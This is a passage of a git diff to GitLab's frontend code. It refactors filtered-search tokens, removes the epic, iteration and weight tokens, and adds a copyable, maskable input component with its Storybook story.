'state.ts': 'ngrx-state',
'actions.ts': 'ngrx-actions',
'effects.ts': 'ngrx-effects',
- cr: 'crystal',
'drone.yml': 'drone',
- cu: 'cuda',
- cuh: 'cuda',
- log: 'log',
};
const fileNameIcons = {
@@ -598,6 +602,9 @@ const fileNameIcons = {
export default function getIconForFile(name) {
return (
- fileNameIcons[name] || fileExtensionIcons[name ? name.split('.').pop().toLowerCase() : ''] || ''
+ fileNameIcons[name] ||
+ twoFileExtensionIcons[name ? name.split('.').slice(-2).join('.') : ''] ||
+ fileExtensionIcons[name ? name.split('.').pop().toLowerCase() : ''] ||
+ ''
);
}
diff --git a/app/assets/javascripts/vue_shared/components/file_row.vue b/app/assets/javascripts/vue_shared/components/file_row.vue
index 0b0a416b7ef..2227047a909 100644
--- a/app/assets/javascripts/vue_shared/components/file_row.vue
+++ b/app/assets/javascripts/vue_shared/components/file_row.vue
@@ -146,6 +146,7 @@ export default {
ref="textOutput"
:style="levelIndentation"
class="file-row-name"
+ :title="file.name"
data-qa-selector="file_name_content"
:data-qa-file-name="file.name"
data-testid="file-row-name-container"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
index d9290e86bca..810d9f782b9 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
@@ -2,7 +2,6 @@ import { __ } from '~/locale';
export const DEBOUNCE_DELAY = 200;
export const MAX_RECENT_TOKENS_SIZE = 3;
-export const WEIGHT_TOKEN_SUGGESTIONS_SIZE = 21;
export const FILTER_NONE = 'None';
export const FILTER_ANY = 'Any';
@@ -24,22 +23,11 @@ export const DEFAULT_LABEL_NONE = { value: FILTER_NONE, text: __('None'), title:
export const DEFAULT_LABEL_ANY = { value: FILTER_ANY, text: __('Any'), title: __('Any') };
export const DEFAULT_NONE_ANY = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
-export const DEFAULT_ITERATIONS = DEFAULT_NONE_ANY.concat([
- { value: FILTER_CURRENT, text: __('Current') },
-]);
-
export const DEFAULT_MILESTONES = DEFAULT_NONE_ANY.concat([
{ value: FILTER_UPCOMING, text: __('Upcoming'), title: __('Upcoming') },
{ value: FILTER_STARTED, text: __('Started'), title: __('Started') },
]);
-export const DEFAULT_MILESTONES_GRAPHQL = [
- { value: 'any', text: __('Any'), title: __('Any') },
- { value: 'none', text: __('None'), title: __('None') },
- { value: '#upcoming', text: __('Upcoming'), title: __('Upcoming') },
- { value: '#started', text: __('Started'), title: __('Started') },
-];
-
export const SortDirection = {
descending: 'descending',
ascending: 'ascending',
@@ -56,6 +44,3 @@ export const TOKEN_TITLE_TYPE = __('Type');
export const TOKEN_TITLE_RELEASE = __('Release');
export const TOKEN_TITLE_MY_REACTION = __('My-Reaction');
export const TOKEN_TITLE_CONFIDENTIAL = __('Confidential');
-export const TOKEN_TITLE_ITERATION = __('Iteration');
-export const TOKEN_TITLE_EPIC = __('Epic');
-export const TOKEN_TITLE_WEIGHT = __('Weight');
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/epic.fragment.graphql b/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/epic.fragment.graphql
deleted file mode 100644
index 9e9bda8ad3e..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/epic.fragment.graphql
+++ /dev/null
@@ -1,15 +0,0 @@
-fragment EpicNode on Epic {
- id
- iid
- group {
- fullPath
- }
- title
- state
- reference
- referencePath: reference(full: true)
- webPath
- webUrl
- createdAt
- closedAt
-}
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/search_epics.query.graphql b/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/search_epics.query.graphql
deleted file mode 100644
index 4bb4b586fc9..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/queries/search_epics.query.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-#import "./epic.fragment.graphql"
-
-query searchEpics($fullPath: ID!, $search: String, $state: EpicState) {
- group(fullPath: $fullPath) {
- epics(
- search: $search
- state: $state
- includeAncestorGroups: true
- includeDescendantGroups: false
- ) {
- nodes {
- ...EpicNode
- }
- }
- }
-}
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
index b3b3d5c88c6..06478a89721 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
@@ -87,7 +87,6 @@ export default {
:get-active-token-value="getActiveAuthor"
:default-suggestions="defaultAuthors"
:preloaded-suggestions="preloadedAuthors"
- :recent-suggestions-storage-key="config.recentSuggestionsStorageKey"
@fetch-suggestions="fetchAuthors"
v-on="$listeners"
>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
index cee7c40aa83..bbc1888bc0b 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
@@ -4,12 +4,17 @@ import {
GlFilteredSearchSuggestion,
GlDropdownDivider,
GlDropdownSectionHeader,
+ GlDropdownText,
GlLoadingIcon,
} from '@gitlab/ui';
import { debounce } from 'lodash';
import { DEBOUNCE_DELAY, FILTER_NONE_ANY, OPERATOR_IS_NOT } from '../constants';
-import { getRecentlyUsedSuggestions, setTokenValueToRecentlyUsed } from '../filtered_search_utils';
+import {
+ getRecentlyUsedSuggestions,
+ setTokenValueToRecentlyUsed,
+ stripQuotes,
+} from '../filtered_search_utils';
export default {
components: {
@@ -17,6 +22,7 @@ export default {
GlFilteredSearchSuggestion,
GlDropdownDivider,
GlDropdownSectionHeader,
+ GlDropdownText,
GlLoadingIcon,
},
props: {
@@ -57,11 +63,6 @@ export default {
required: false,
default: () => [],
},
- recentSuggestionsStorageKey: {
- type: String,
- required: false,
- default: '',
- },
valueIdentifier: {
type: String,
required: false,
@@ -76,14 +77,14 @@ export default {
data() {
return {
searchKey: '',
- recentSuggestions: this.recentSuggestionsStorageKey
- ? getRecentlyUsedSuggestions(this.recentSuggestionsStorageKey)
+ recentSuggestions: this.config.recentSuggestionsStorageKey
+ ? getRecentlyUsedSuggestions(this.config.recentSuggestionsStorageKey)
: [],
};
},
computed: {
isRecentSuggestionsEnabled() {
- return Boolean(this.recentSuggestionsStorageKey);
+ return Boolean(this.config.recentSuggestionsStorageKey);
},
recentTokenIds() {
return this.recentSuggestions.map((tokenValue) => tokenValue[this.valueIdentifier]);
@@ -119,6 +120,9 @@ export default {
showDefaultSuggestions() {
return this.availableDefaultSuggestions.length > 0;
},
+ showNoMatchesText() {
+ return this.searchKey && !this.availableSuggestions.length;
+ },
showRecentSuggestions() {
return (
this.isRecentSuggestionsEnabled && this.recentSuggestions.length > 0 && !this.searchKey
@@ -163,11 +167,20 @@ export default {
this.searchKey = data;
if (!this.suggestionsLoading && !this.activeTokenValue) {
- const search = this.searchTerm ? this.searchTerm : data;
+ let search = this.searchTerm ? this.searchTerm : data;
+
+ if (search.startsWith('"') && search.endsWith('"')) {
+ search = stripQuotes(search);
+ } else if (search.startsWith('"')) {
+ search = search.slice(1, search.length);
+ }
+
this.$emit('fetch-suggestions', search);
}
}, DEBOUNCE_DELAY),
- handleTokenValueSelected(activeTokenValue) {
+ handleTokenValueSelected(selectedValue) {
+ const activeTokenValue = this.getActiveTokenValue(this.suggestions, selectedValue);
+
// Make sure that;
// 1. Recently used values feature is enabled
// 2. User has actually selected a value
@@ -177,7 +190,7 @@ export default {
activeTokenValue &&
!this.preloadedTokenIds.includes(activeTokenValue[this.valueIdentifier])
) {
- setTokenValueToRecentlyUsed(this.recentSuggestionsStorageKey, activeTokenValue);
+ setTokenValueToRecentlyUsed(this.config.recentSuggestionsStorageKey, activeTokenValue);
}
},
},
@@ -192,7 +205,7 @@ export default {
v-bind="$attrs"
v-on="$listeners"
@input="handleInput"
- @select="handleTokenValueSelected(activeTokenValue)"
+ @select="handleTokenValueSelected"
>
<template #view-token="viewTokenProps">
<slot name="view-token" :view-token-props="{ ...viewTokenProps, activeTokenValue }"></slot>
@@ -222,6 +235,9 @@ export default {
:suggestions="preloadedSuggestions"
></slot>
<gl-loading-icon v-if="suggestionsLoading" size="sm" />
+ <gl-dropdown-text v-else-if="showNoMatchesText">
+ {{ __('No matches found') }}
+ </gl-dropdown-text>
<template v-else>
<slot name="suggestions-list" :suggestions="availableSuggestions"></slot>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
deleted file mode 100644
index 9c2f5306654..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
+++ /dev/null
@@ -1,129 +0,0 @@
-<script>
-import { GlFilteredSearchSuggestion } from '@gitlab/ui';
-import createFlash from '~/flash';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { __ } from '~/locale';
-import { DEFAULT_NONE_ANY, FILTER_NONE_ANY, OPERATOR_IS_NOT } from '../constants';
-import searchEpicsQuery from '../queries/search_epics.query.graphql';
-
-import BaseToken from './base_token.vue';
-
-export default {
- prefix: '&',
- separator: '::',
- components: {
- BaseToken,
- GlFilteredSearchSuggestion,
- },
- props: {
- config: {
- type: Object,
- required: true,
- },
- value: {
- type: Object,
- required: true,
- },
- active: {
- type: Boolean,
- required: true,
- },
- },
- data() {
- return {
- epics: this.config.initialEpics || [],
- loading: false,
- };
- },
- computed: {
- idProperty() {
- return this.config.idProperty || 'iid';
- },
- currentValue() {
- const epicIid = Number(this.value.data);
- if (epicIid) {
- return epicIid;
- }
- return this.value.data;
- },
- defaultEpics() {
- return this.config.defaultEpics || DEFAULT_NONE_ANY;
- },
- availableDefaultEpics() {
- if (this.value.operator === OPERATOR_IS_NOT) {
- return this.defaultEpics.filter(
- (suggestion) => !FILTER_NONE_ANY.includes(suggestion.value),
- );
- }
- return this.defaultEpics;
- },
- },
- methods: {
- fetchEpics(search = '') {
- return this.$apollo
- .query({
- query: searchEpicsQuery,
- variables: { fullPath: this.config.fullPath, search },
- })
- .then(({ data }) => data.group?.epics.nodes);
- },
- fetchEpicsBySearchTerm(search) {
- this.loading = true;
- this.fetchEpics(search)
- .then((response) => {
- this.epics = Array.isArray(response) ? response : response?.data;
- })
- .catch(() => createFlash({ message: __('There was a problem fetching epics.') }))
- .finally(() => {
- this.loading = false;
- });
- },
- getActiveEpic(epics, data) {
- if (data && epics.length) {
- return epics.find((epic) => this.getValue(epic) === data);
- }
- return undefined;
- },
- getValue(epic) {
- return this.getEpicIdProperty(epic).toString();
- },
- displayValue(epic) {
- return `${this.$options.prefix}${this.getEpicIdProperty(epic)}${this.$options.separator}${
- epic?.title
- }`;
- },
- getEpicIdProperty(epic) {
- return getIdFromGraphQLId(epic[this.idProperty]);
- },
- },
-};
-</script>
-
-<template>
- <base-token
- :config="config"
- :value="value"
- :active="active"
- :suggestions-loading="loading"
- :suggestions="epics"
- :get-active-token-value="getActiveEpic"
- :default-suggestions="availableDefaultEpics"
- :recent-suggestions-storage-key="config.recentSuggestionsStorageKey"
- search-by="title"
- @fetch-suggestions="fetchEpicsBySearchTerm"
- v-on="$listeners"
- >
- <template #view="{ viewTokenProps: { inputValue, activeTokenValue } }">
- {{ activeTokenValue ? displayValue(activeTokenValue) : inputValue }}
- </template>
- <template #suggestions-list="{ suggestions }">
- <gl-filtered-search-suggestion
- v-for="epic in suggestions"
- :key="epic.id"
- :value="getValue(epic)"
- >
- {{ epic.title }}
- </gl-filtered-search-suggestion>
- </template>
- </base-token>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue
deleted file mode 100644
index aff93ebc9c0..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue
+++ /dev/null
@@ -1,138 +0,0 @@
-<script>
-import { GlDropdownDivider, GlDropdownSectionHeader, GlFilteredSearchSuggestion } from '@gitlab/ui';
-import createFlash from '~/flash';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { __ } from '~/locale';
-import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
-import { formatDate } from '~/lib/utils/datetime_utility';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { DEFAULT_ITERATIONS } from '../constants';
-
-export default {
- components: {
- BaseToken,
- GlDropdownDivider,
- GlDropdownSectionHeader,
- GlFilteredSearchSuggestion,
- },
- mixins: [glFeatureFlagMixin()],
- props: {
- active: {
- type: Boolean,
- required: true,
- },
- config: {
- type: Object,
- required: true,
- },
- value: {
- type: Object,
- required: true,
- },
- },
- data() {
- return {
- iterations: this.config.initialIterations || [],
- loading: false,
- };
- },
- computed: {
- defaultIterations() {
- return this.config.defaultIterations || DEFAULT_ITERATIONS;
- },
- },
- methods: {
- getActiveIteration(iterations, data) {
- return iterations.find((iteration) => this.getValue(iteration) === data);
- },
- groupIterationsByCadence(iterations) {
- const cadences = [];
- iterations.forEach((iteration) => {
- if (!iteration.iterationCadence) {
- return;
- }
- const { title } = iteration.iterationCadence;
- const cadenceIteration = {
- id: iteration.id,
- title: iteration.title,
- period: this.getIterationPeriod(iteration),
- };
- const cadence = cadences.find((cad) => cad.title === title);
- if (cadence) {
- cadence.iterations.push(cadenceIteration);
- } else {
- cadences.push({ title, iterations: [cadenceIteration] });
- }
- });
- return cadences;
- },
- fetchIterations(searchTerm) {
- this.loading = true;
- this.config
- .fetchIterations(searchTerm)
- .then((response) => {
- this.iterations = Array.isArray(response) ? response : response.data;
- })
- .catch(() => {
- createFlash({ message: __('There was a problem fetching iterations.') });
- })
- .finally(() => {
- this.loading = false;
- });
- },
- getValue(iteration) {
- return String(getIdFromGraphQLId(iteration.id));
- },
- /**
- * TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/344619
- * This method also exists as a utility function in ee/../iterations/utils.js
- * Remove the duplication when iteration token is moved to EE.
- */
- getIterationPeriod({ startDate, dueDate }) {
- const start = formatDate(startDate, 'mmm d, yyyy', true);
- const due = formatDate(dueDate, 'mmm d, yyyy', true);
- return `${start} - ${due}`;
- },
- },
-};
-</script>
-
-<template>
- <base-token
- :active="active"
- :config="config"
- :value="value"
- :default-suggestions="defaultIterations"
- :suggestions="iterations"
- :suggestions-loading="loading"
- :get-active-token-value="getActiveIteration"
- @fetch-suggestions="fetchIterations"
- v-on="$listeners"
- >
- <template #view="{ viewTokenProps: { inputValue, activeTokenValue } }">
- {{ activeTokenValue ? activeTokenValue.title : inputValue }}
- </template>
- <template #suggestions-list="{ suggestions }">
- <template v-for="(cadence, index) in groupIterationsByCadence(suggestions)">
- <gl-dropdown-divider v-if="index !== 0" :key="index" />
- <gl-dropdown-section-header
- :key="cadence.title"
- class="gl-overflow-hidden"
- :title="cadence.title"
- >
- {{ cadence.title }}
- </gl-dropdown-section-header>
- <gl-filtered-search-suggestion
- v-for="iteration in cadence.iterations"
- :key="iteration.id"
- :value="getValue(iteration)"
- >
- {{ iteration.title }}
- <div v-if="glFeatures.iterationCadences" class="gl-text-gray-400">
- {{ iteration.period }}
- </div>
- </gl-filtered-search-suggestion>
- </template>
- </template>
- </base-token>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
index c31f3a25fb1..3f7a8920f48 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
@@ -104,7 +104,6 @@ export default {
:suggestions="labels"
:get-active-token-value="getActiveLabel"
:default-suggestions="defaultLabels"
- :recent-suggestions-storage-key="config.recentSuggestionsStorageKey"
@fetch-suggestions="fetchLabels"
v-on="$listeners"
>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
index 523438f459c..0d3394788fa 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
@@ -2,7 +2,7 @@
import { GlFilteredSearchSuggestion } from '@gitlab/ui';
import createFlash from '~/flash';
import { __ } from '~/locale';
-import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
+import { sortMilestonesByDueDate } from '~/milestones/utils';
import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
import { DEFAULT_MILESTONES } from '../constants';
import { stripQuotes } from '../filtered_search_utils';
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/weight_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/weight_token.vue
deleted file mode 100644
index 280fb234576..00000000000
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/weight_token.vue
+++ /dev/null
@@ -1,66 +0,0 @@
-<script>
-import { GlFilteredSearchSuggestion } from '@gitlab/ui';
-import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
-import { DEFAULT_NONE_ANY, WEIGHT_TOKEN_SUGGESTIONS_SIZE } from '../constants';
-
-const weights = Array.from(Array(WEIGHT_TOKEN_SUGGESTIONS_SIZE), (_, index) => index.toString());
-
-export default {
- components: {
- BaseToken,
- GlFilteredSearchSuggestion,
- },
- props: {
- active: {
- type: Boolean,
- required: true,
- },
- config: {
- type: Object,
- required: true,
- },
- value: {
- type: Object,
- required: true,
- },
- },
- data() {
- return {
- weights,
- };
- },
- computed: {
- defaultWeights() {
- return this.config.defaultWeights || DEFAULT_NONE_ANY;
- },
- },
- methods: {
- getActiveWeight(weightSuggestions, data) {
- return weightSuggestions.find((weight) => weight === data);
- },
- updateWeights(searchTerm) {
- const weight = parseInt(searchTerm, 10);
- this.weights = Number.isNaN(weight) ? weights : [String(weight)];
- },
- },
-};
-</script>
-
-<template>
- <base-token
- :active="active"
- :config="config"
- :value="value"
- :default-suggestions="defaultWeights"
- :suggestions="weights"
- :get-active-token-value="getActiveWeight"
- @fetch-suggestions="updateWeights"
- v-on="$listeners"
- >
- <template #suggestions-list="{ suggestions }">
- <gl-filtered-search-suggestion v-for="weight of suggestions" :key="weight" :value="weight">
- {{ weight }}
- </gl-filtered-search-suggestion>
- </template>
- </base-token>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.stories.js b/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.stories.js
new file mode 100644
index 00000000000..cdd7a074f34
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.stories.js
@@ -0,0 +1,27 @@
+import InputCopyToggleVisibility from './input_copy_toggle_visibility.vue';
+
+export default {
+ component: InputCopyToggleVisibility,
+ title: 'vue_shared/components/form/input_copy_toggle_visibility',
+};
+
+const defaultProps = {
+ value: 'hR8x1fuJbzwu5uFKLf9e',
+ formInputGroupProps: { class: 'gl-form-input-xl' },
+};
+
+const Template = (args, { argTypes }) => ({
+ components: { InputCopyToggleVisibility },
+ props: Object.keys(argTypes),
+ template: `<input-copy-toggle-visibility
+ :value="value"
+ :initial-visibility="initialVisibility"
+ :show-toggle-visibility-button="showToggleVisibilityButton"
+ :show-copy-button="showCopyButton"
+ :form-input-group-props="formInputGroupProps"
+ :copy-button-title="copyButtonTitle"
+ />`,
+});
+
+export const Default = Template.bind({});
+Default.args = defaultProps;
diff --git a/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.vue b/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.vue
new file mode 100644
index 00000000000..06949b59823
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/form/input_copy_toggle_visibility.vue
@@ -0,0 +1,127 @@
+<script>
+import { GlFormInputGroup, GlFormGroup, GlButton, GlTooltipDirective } from '@gitlab/ui';
+
+import { __ } from '~/locale';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+
+export default {
+ name: 'InputCopyToggleVisibility',
+ i18n: {
+ toggleVisibilityLabelHide: __('Click to hide'),
+ toggleVisibilityLabelReveal: __('Click to reveal'),
+ },
+ components: {
+ GlFormInputGroup,
+ GlFormGroup,
+ GlButton,
+ ClipboardButton,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ value: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ initialVisibility: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showToggleVisibilityButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ showCopyButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ copyButtonTitle: {
+ type: String,
+ required: false,
+ default: __('Copy'),
+ },
+ formInputGroupProps: {
+ type: Object,
+ required: false,
+ default() {
+ return {};
+ },
+ },
+ },
+ data() {
+ return {
+ valueIsVisible: this.initialVisibility,
+ };
+ },
+ computed: {
+ toggleVisibilityLabel() {
+ return this.valueIsVisible
+ ? this.$options.i18n.toggleVisibilityLabelHide
+ : this.$options.i18n.toggleVisibilityLabelReveal;
+ },
+ toggleVisibilityIcon() {
+ return this.valueIsVisible ? 'eye-slash' : 'eye';
+ },
+ computedValueIsVisible() {
+ return !this.showToggleVisibilityButton || this.valueIsVisible;
+ },
+ displayedValue() {
+ return this.computedValueIsVisible ? this.value : '*'.repeat(this.value.length || 20);
+ },
+ },
+ methods: {
+ handleToggleVisibilityButtonClick() {
+ this.valueIsVisible = !this.valueIsVisible;
+
+ this.$emit('visibility-change', this.valueIsVisible);
+ },
+ handleCopyButtonClick() {
+ this.$emit('copy');
+ },
+ handleFormInputCopy(event) {
+ if (this.computedValueIsVisible) {
+ return;
+ }
+
+ event.clipboardData.setData('text/plain', this.value);
+ event.preventDefault();
+ },
+ },
+};
+</script>
+<template>
+ <gl-form-group v-bind="$attrs">
+ <gl-form-input-group
+ :value="displayedValue"
+ input-class="gl-font-monospace! gl-cursor-default!"
+ select-on-click
+ readonly
+ v-bind="formInputGroupProps"
+ @copy="handleFormInputCopy"
+ >
+ <template v-if="showToggleVisibilityButton || showCopyButton" #append>
+ <gl-button
+ v-if="showToggleVisibilityButton"
+ v-gl-tooltip.hover="toggleVisibilityLabel"
+ :aria-label="toggleVisibilityLabel"
+ :icon="toggleVisibilityIcon"
+ @click="handleToggleVisibilityButtonClick"
+ />
+ <clipboard-button
+ v-if="showCopyButton"
+ :text="value"
+ :title="copyButtonTitle"
+ @click="handleCopyButtonClick"
+ />
+ </template>
+ </gl-form-input-group>
+ <template v-for="slot in Object.keys($slots)" #[slot]>
+ <slot :name="slot"></slot>
+ </template>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/header_ci_component.vue b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
index 6ace0bd88f8..9bff469b670 100644
--- a/app/assets/javascripts/vue_shared/components/header_ci_component.vue
+++ b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
@@ -5,6 +5,7 @@ import {
GlSafeHtmlDirective,
GlAvatarLink,
GlAvatarLabeled,
+ GlTooltip,
} from '@gitlab/ui';
import { isGid, getIdFromGraphQLId } from '~/graphql_shared/utils';
import { glEmojiTag } from '../../emoji';
@@ -26,6 +27,7 @@ export default {
GlButton,
GlAvatarLink,
GlAvatarLabeled,
+ GlTooltip,
},
directives: {
GlTooltip: GlTooltipDirective,
diff --git a/app/assets/javascripts/vue_shared/components/issuable/init_issuable_header_warning.js b/app/assets/javascripts/vue_shared/components/issuable/init_issuable_header_warning.js
deleted file mode 100644
index 28aa93d6680..00000000000
--- a/app/assets/javascripts/vue_shared/components/issuable/init_issuable_header_warning.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import Vue from 'vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
-import IssuableHeaderWarnings from './issuable_header_warnings.vue';
-
-export default function issuableHeaderWarnings(store) {
- const el = document.getElementById('js-issuable-header-warnings');
-
- if (!el) {
- return false;
- }
-
- const { hidden } = el.dataset;
-
- return new Vue({
- el,
- store,
- provide: { hidden: parseBoolean(hidden) },
- render(createElement) {
- return createElement(IssuableHeaderWarnings);
- },
- });
-}
diff --git a/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue b/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue
deleted file mode 100644
index 8aeff9257a5..00000000000
--- a/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue
+++ /dev/null
@@ -1,201 +0,0 @@
-<script>
-import '~/commons/bootstrap';
-import {
- GlIcon,
- GlTooltip,
- GlTooltipDirective,
- GlButton,
- GlSafeHtmlDirective as SafeHtml,
-} from '@gitlab/ui';
-import IssueDueDate from '~/boards/components/issue_due_date.vue';
-import { sprintf } from '~/locale';
-import relatedIssuableMixin from '../../mixins/related_issuable_mixin';
-import CiIcon from '../ci_icon.vue';
-import IssueAssignees from './issue_assignees.vue';
-import IssueMilestone from './issue_milestone.vue';
-
-export default {
- name: 'IssueItem',
- components: {
- IssueMilestone,
- IssueAssignees,
- CiIcon,
- GlIcon,
- GlTooltip,
- IssueWeight: () => import('ee_component/boards/components/issue_card_weight.vue'),
- IssueDueDate,
- GlButton,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- SafeHtml,
- },
- mixins: [relatedIssuableMixin],
- props: {
- canReorder: {
- type: Boolean,
- required: false,
- default: false,
- },
- isLocked: {
- type: Boolean,
- required: false,
- default: false,
- },
- lockedMessage: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- stateTitle() {
- return sprintf(
- '<span class="bold">%{state}</span> %{timeInWords}<br/><span class="text-tertiary">%{timestamp}</span>',
- {
- state: this.stateText,
- timeInWords: this.stateTimeInWords,
- timestamp: this.stateTimestamp,
- },
- );
- },
- iconClasses() {
- return `${this.iconClass} ic-${this.iconName}`;
- },
- },
-};
-</script>
-
-<template>
- <div
- :class="{
- 'issuable-info-container': !canReorder,
- 'card-body': canReorder,
- }"
- class="item-body d-flex align-items-center py-2 px-3"
- >
- <div
- class="item-contents gl-display-flex gl-align-items-center gl-flex-wrap gl-flex-grow-1 flex-xl-nowrap gl-min-h-7"
- >
- <!-- Title area: Status icon (XL) and title -->
- <div class="item-title d-flex align-items-xl-center mb-xl-0 gl-min-w-0">
- <div ref="iconElementXL">
- <gl-icon
- v-if="hasState"
- ref="iconElementXL"
- class="mr-2 d-block"
- :class="iconClasses"
- :name="iconName"
- :title="stateTitle"
- :aria-label="state"
- />
- </div>
- <gl-tooltip :target="() => $refs.iconElementXL">
- <span v-safe-html="stateTitle"></span>
- </gl-tooltip>
- <gl-icon
- v-if="confidential"
- v-gl-tooltip
- name="eye-slash"
- :title="__('Confidential')"
- class="confidential-icon gl-mr-2 align-self-baseline align-self-md-auto mt-xl-0"
- :aria-label="__('Confidential')"
- />
- <a :href="computedPath" class="sortable-link gl-font-weight-normal">{{ title }}</a>
- </div>
-
- <!-- Info area: meta, path, and assignees -->
- <div class="item-info-area d-flex flex-xl-grow-1 flex-shrink-0">
- <!-- Meta area: path and attributes -->
- <!-- If there is no room beside the path, meta attributes are put ABOVE it (flex-wrap-reverse). -->
- <!-- See design: https://gitlab-org.gitlab.io/gitlab-design/hosted/pedro/%2383-issue-mr-rows-cards-spec-previews/#artboard16 -->
- <div
- class="item-meta d-flex flex-wrap-reverse justify-content-start justify-content-md-between"
- >
- <!-- Path area: status icon (<XL), path, issue # -->
- <div
- class="item-path-area item-path-id d-flex align-items-center mr-2 mt-2 mt-xl-0 ml-xl-2"
- >
- <gl-tooltip :target="() => this.$refs.iconElement">
- <span v-safe-html="stateTitle"></span>
- </gl-tooltip>
- <span v-gl-tooltip :title="itemPath" class="path-id-text d-inline-block">{{
- itemPath
- }}</span>
- <span>{{ pathIdSeparator }}{{ itemId }}</span>
- </div>
-
- <!-- Attributes area: CI, epic count, weight, milestone -->
- <!-- They have a different order on large screen sizes -->
- <div class="item-attributes-area d-flex align-items-center mt-2 mt-xl-0">
- <span v-if="hasPipeline" class="mr-ci-status order-md-last">
- <a :href="pipelineStatus.details_path">
- <ci-icon v-gl-tooltip :status="pipelineStatus" :title="pipelineStatusTooltip" />
- </a>
- </span>
-
- <issue-milestone
- v-if="hasMilestone"
- :milestone="milestone"
- class="d-flex align-items-center item-milestone order-md-first ml-md-0"
- />
-
- <!-- Flex order for slots is defined in the parent component: e.g. related_issues_block.vue -->
- <span v-if="weight > 0" class="order-md-1">
- <issue-weight
- :weight="weight"
- class="item-weight gl-display-flex gl-align-items-center"
- tag-name="span"
- />
- </span>
-
- <span v-if="dueDate" class="order-md-1">
- <issue-due-date
- :date="dueDate"
- :closed="Boolean(closedAt)"
- tooltip-placement="top"
- css-class="item-due-date gl-display-flex gl-align-items-center"
- />
- </span>
-
- <issue-assignees
- v-if="hasAssignees"
- :assignees="assignees"
- class="item-assignees align-items-center align-self-end flex-shrink-0 order-md-2 d-none d-md-flex"
- />
- </div>
- </div>
-
- <!-- Assignees. On small layouts, these are put here, at the end of the card. -->
- <issue-assignees
- v-if="assignees.length !== 0"
- :assignees="assignees"
- class="item-assignees d-flex align-items-center align-self-end flex-shrink-0 d-md-none ml-2"
- />
- </div>
